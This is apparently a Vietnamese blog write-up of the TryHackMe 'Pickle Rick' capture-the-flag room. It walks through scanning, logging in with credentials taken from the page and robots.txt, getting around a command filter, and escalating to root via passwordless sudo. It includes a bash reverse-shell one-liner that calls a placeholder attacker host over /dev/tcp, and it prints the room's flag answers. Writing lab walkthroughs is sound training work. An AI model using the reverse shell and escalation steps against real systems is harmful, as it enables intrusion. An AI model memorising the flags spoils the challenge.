[tryhackme] Pickle Rick Writeup
![[tryhackme] Pickle Rick Writeup](https://cdn.hashnode.com/res/hashnode/image/upload/v1724836671226/5e72be8d-f83c-4716-9501-8e7ed2cb229b.jpeg)
Rick đã bị biến thành dưa chuột muối. Hãy giúp Morty tìm 3 nguyên liệu để biến ông về thành người!
1, Source Code:

Có username ở đây thì hẳn phải có trang đăng nhập. Ta ghi nhớ điều này.
2, Scan nmap + scan directories Gobuster

nmap scan được port 22 ssh và 80 html

Gobuster scan được /portal.php --> /login.php
3, access /portal.php

Sau khi truy cập, ta được điều hướng về trang đăng nhập /login.php
(scan Gobuster) ta cũng phát hiện khá thú vị ở robots.txt

(Rick hay nói câu này) Chắc đây là mật khẩu rồi!
Thử đăng nhập R!ckRul3s - Wubbalubbadubdub

Ta vào được /portal.php
Thử ls

4, Lấy nguyên liệu đầu tiên

Ta cat file nhưng thông báo là "Command disabled". Filter đã chặn lệnh cat. Ta có hai cách:
Lệnh less cũng có thể đọc được file.

Tạo 1 reverse shell bash đơn giản

Mở cổng netcat 8080
nc -lvnp 8080
Chạy shell bash
-c 'bash -i >& /dev/tcp/<Attacker_IP>/8080 0>&1'

Cơ bản thì filter chỉ chặn lệnh cat trên web app. Bash thì không nên ta truy xuất bình thường.
\==> mr. meeseek hair
5, Nguyên liệu thứ hai:
Ngoại trừ tab Command ra thì các tab khác như Portions, Creatures,... đều bị điều hướng về denied.php. Chắc chặn do không đủ quyền.
Ta thử check clue.txt

Cũng gợi ý hai nguyên liệu còn lại ở trong file system.
Thử cd ra ngoài xem sao
cd thì cũng ra ngoài, thấy được cả home và root :D


Có khoảng trắng trong tên tệp nên phải đóng dấu ' ' lại

\==> 1 jerry tear
6, Nguyên liệu thứ ba -Privilege Escalation
Ta cd vào root thì bị chặn do không đủ quyền

Ta sudo -l để check xem user www-data có quyền gì. Nhận ra user này có thể chạy mọi lệnh với quyền root mà không cần nhập mật khẩu.
Ta chạy sudo bash để leo thang đặc quyền lên root luôn.

Sau đó thì đơn giản là cd vào /root rồi sau đó đọc 3rd.ttx

\==> fleeb juice
![[cookiehanhoan] Cookie Comic](https://cdn.hashnode.com/res/hashnode/image/upload/v1728137469894/7881899e-0477-4134-8c51-16ea054bc60c.png)
